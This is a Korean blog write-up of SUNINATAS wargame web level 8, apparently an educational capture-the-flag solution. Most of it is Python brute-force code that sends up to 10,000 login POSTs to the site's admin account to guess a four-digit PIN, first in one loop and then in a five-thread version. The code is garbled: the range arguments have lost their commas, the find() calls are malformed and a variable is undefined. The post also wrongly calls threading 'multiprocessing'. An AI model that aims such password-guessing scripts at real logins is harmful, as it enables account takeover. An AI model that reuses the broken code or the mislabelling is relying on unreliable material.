글 작성자: 모두의 근삼이

WEB Level 8

level8은 굉장히 간단한 문제이면서도 귀찮은 문제입니다. 물론, 공격용 코드를 작성할 줄 모른다는 가정 하에 말입니다. 문제를 간단하게 살펴보면, 로그인을 하는 것이 목적이고, 주어진 힌트정보에 따르면, admin 계정으로 로그인 할 수 있고, 그의 비밀번호는 0~9999 사이의 숫자라는 것을 알 수 있습니다.



헤더 정보를 확인해보니, 로그인 요청을 할 때, 페이지 요청방식은 POST 방식이고, 파라미터로 id, pw 두 개의 필드를 이용해 서버에 전달하고 있었습니다. 

페이지 요청방식을 알아낸 이상, 코드를 만드는 것은 누워서 잠자기입니다. 파라미터의 pw 필드의 값을 0~9999 까지 변경하면서 최대 1만 번 반복하여 페이지를 요청해보면서, 응답 페이지 소스에 Password Incorrect! 메시지가 포함되지 않은 요청에 대해서 분석하여, 출력된 AUTH KEY를 뽑아내는 코드를 작성해 보았습니다.



Level8 풀이용 Python 코드(Single_type)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
URL="http://suninatas.com/Part_one/web08/web08.asp"
 
cookie={
    "ASPSESSIONIDQSAQARDT":"KGINHHNDLGKFBLCDGBHAPECB"
    }
session1=requests.Session()
 
for i in range(10000) :
    data1={
        "id":"admin",
        "pw":i
       }
 
    req=session1.post(URL, cookies=cookie, data=data1)
    if (req.text.find("Password Incorrect!"== -1 ) :
        index=req2.text.find("Authkey")
        print ("\n\n")
        print (req.text[index:index+30])
        print ("\n\n")
        input("Press Any KEY to exit......")
        exit (0)
    else :
        print ("Wrong Num : "+str(i))
cs


결론부터 말씀드리자면, admin계정의 password는 7000번대이고, 코드는 0번부터 값을 대입해보기 때문에, 총 7000번 이상의 요청 끝에 값을 찾아냅니다. 고작 1분 30초밖에 걸리지 않았습니다.(반환결과는 작업환경에 따라 차이가 있었습니다.)


하지만, 저는 또 만족스럽지 못했습니다. 만 번의 요청은 많다면 많지만, 고작 4자리의 숫자를 맞추는데 1분 30초라면, 더 큰 값을 찾아야 할 때도 이러한 방식으로 원하는 시간 안에 찾을 수 있을지에 대한 의문이 들었습니다. 

그래서 여러 방향으로 찾아본 결과, 모듈을 이용하여 간단한 방법으로 멀티프로세싱 방식을 이용해, 병렬프로그래밍을 할 수 있다는 알아내었습니다.


Level8 풀이용 Python 코드


concurrent.futures 모듈의 ThreadPoolExecutor 이라는 함수를 이용하면, 사용자가 지정한 만큼의 프로세스를 사용하여, 실행할 각각의 함수에 하나의 프로세스를 할당해서, 멀티 프로세싱 방식으로 프로그램이 동작하도록 할 수 있었습니다. 해당 모듈은 파이썬 3.x 이상의 버전에서만 지원하는 모듈인데, 사용방식이 보다시피 굉장히 간편하기 때문에, 활용 가능도가 굉장히 높은 모듈이라고 생각되었습니다. 


해당 문제를 풀기에는 코드가 조금 거창해지기는 하였지만, 용법의 쉬운 설명과 다른 상황에서의 사용을 위하여

한개의 메인코드와 5개의 서브코드를 두는 형태로 코드를 작성해 보았습니다.


(multi_main)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from concurrent.futures import ThreadPoolExecutor
import part1, part2, part3, part4, part5
 
URL="http://suninatas.com/Part_one/web08/web08.asp"
cookie={
    "ASPSESSIONIDQSAQARDT":"KGINHHNDLGKFBLCDGBHAPECB"
    }
session=requests.Session()
 
print ("\n\nSearching Pass : 0 ~ 9999")
with ThreadPoolExecutor(max_workers=5) as executor:
    p1=executor.submit(part1.part1, session, URL, cookie)
    p2=executor.submit(part2.part2, session, URL, cookie)
    p3=executor.submit(part3.part3, session, URL, cookie)
    p4=executor.submit(part4.part4, session, URL, cookie)
    p5=executor.submit(part5.part5, session, URL, cookie)
cs


(multi_part1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def part1(session, URL, cookie) :
    for i in range(01999) :
        data1={
            "id":"admin",
            "pw":i
           }
 
        req1=session.post(URL, cookies=cookie, data=data1)
        if (req1.text.find("Password Incorrect!"== -1 ) :
            index=req1.text.find("Authkey")
            print ("\n\n")
            print (req1.text[index:index+30])
            print ("\n\n")
            input("Press Any KEY to exit......")
            exit (0)
cs


(multi_part2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def part2(session, URL, cookie):
    for i in range(20003999) :
        data2={
            "id":"admin",
            "pw":i
           }
 
        req2=session.post(URL, cookies=cookie, data=data2)
        if (req2.text.find("Password Incorrect!"== -1 ) :
            index=req2.text.find("Authkey")
            print ("\n\n")
            print (req2.text[index:index+30])
            print ("\n\n")
            input("Press Any KEY to exit......")
            exit (0)
cs


(multi_part3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def part3(session, URL, cookie):
    for i in range(40005999) :
        data3={
            "id":"admin",
            "pw":i
           }
 
        req3=session.post(URL, cookies=cookie, data=data3)
        if (req3.text.find("Password Incorrect!"== -1 ) :
            index=req3.text.find("Authkey")
            print ("\n\n")
            print (req3.text[index:index+30])
            print ("\n\n")
            input("Press Any KEY to exit......")
            exit (0)
cs


(multi_part4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def part4(session, URL, cookie):
    for i in range(60007999) :
        data4={
            "id":"admin",
            "pw":i
           }
 
        req4=session.post(URL, cookies=cookie, data=data4)
        if (req4.text.find("Password Incorrect!"== -1 ) :
            index=req4.text.find("Authkey")
            print ("\n\n")
            print (req4.text[index:index+30])
            print ("\n\n")
            input("Press Any KEY to exit......")
            exit (0)
cs


(multi_part5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def part5(session, URL, cookie):
    for i in range(80009999) :
        data5={
            "id":"admin",
            "pw":i
           }
 
        req5=session.post(URL, cookies=cookie, data=data5)
        if (req5.text.find("Password Incorrect!"== -1 ) :
            index=req5.text.find("Authkey")
            print ("\n\n")
            print (req5.text[index:index+30])
            print ("\n\n")
            input("Press Any KEY to exit......")
            exit (0)
cs


이상으로 SUNINATAS 8번과, PYTHON concurrent.futures 모듈 활용 멀티프로세싱 방식의 코드 작성법을 알아보았습니다.

반응형